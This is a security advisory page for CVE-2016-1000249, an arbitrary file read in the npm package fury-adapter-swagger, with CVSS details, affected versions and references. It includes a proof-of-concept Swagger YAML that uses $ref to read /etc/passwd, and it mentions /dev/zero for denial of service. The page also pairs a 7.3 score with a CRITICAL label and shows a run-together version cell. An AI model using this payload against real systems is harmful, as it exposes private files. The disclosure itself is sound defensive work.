CVE-2016-1000249
Arbitrary File Read
Overview
Description
fury-adapter-swagger is a fury.js adapter for loading swagger HTTP API description documents - either via YAML or JSON.
fury-adapter-swagger has a vulnerability that allows arbitrary file reads off the file system. This could be used to retrieve sensitive data, or cause a denial of service by reading /dev/zero. An example proof of concept is provided below:
---
swagger: '2.0'
info:
title: Read local files
version: '1.0'
paths:
/foo:
get:
responses:
200:
description: Some description
examples:
text/html:
example:
$ref: '/etc/passwd' Source: OX vulnerability database
Severity
7.3 · CRITICAL
CVSS 3.1 base score, scored by GitHub.
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- None
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- Low
- Integrity
- Low
- Availability
- Low
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L
Affected packages · 1
| Ecosystem | Package | Vulnerable | Fixed in |
|---|---|---|---|
| npm | fury-adapter-swagger | >=0.2.0, <0.9.7>= 0.2.0 <= 0.9.6~0.8.0-pre | 0.9.7> 0.9.6 |
Open a package to see all its vulnerabilities.
Operating systems
No Linux distribution reports this ID.
References
- github.com https://github.com/apiaryio/fury-adapter-swagger
- github.com https://github.com/apiaryio/fury-adapter-swagger/commit/777e2d68f03546a88f3203bbd4725df8b1f662a7
- github.com https://github.com/apiaryio/fury-adapter-swagger/commit/f4407e3a5323bc31123d45dbc93b8417002e4d51#diff-54c345dc104dc19440f9c2482b7883df820e8b9b699fdd8fa07e2773e7197a29
- github.com https://github.com/apiaryio/fury-adapter-swagger/pull/89
- github.com https://github.com/distributedweaknessfiling/DWF-Database-Artifacts/blob/master/DWF/2016/1000249/CVE-2016-1000249.json
- security.snyk.io https://security.snyk.io/vuln/npm:fury-adapter-swagger:20161024
- www.npmjs.com https://www.npmjs.com/advisories/305
OX Radar and Response Center
Find threats in your stack.
OX Radar can check high-priority threats, like critical package CVEs, against your context.
Each incident is marked Detected or Not Detected with a remediation plan and proof all tracked in the Response Center.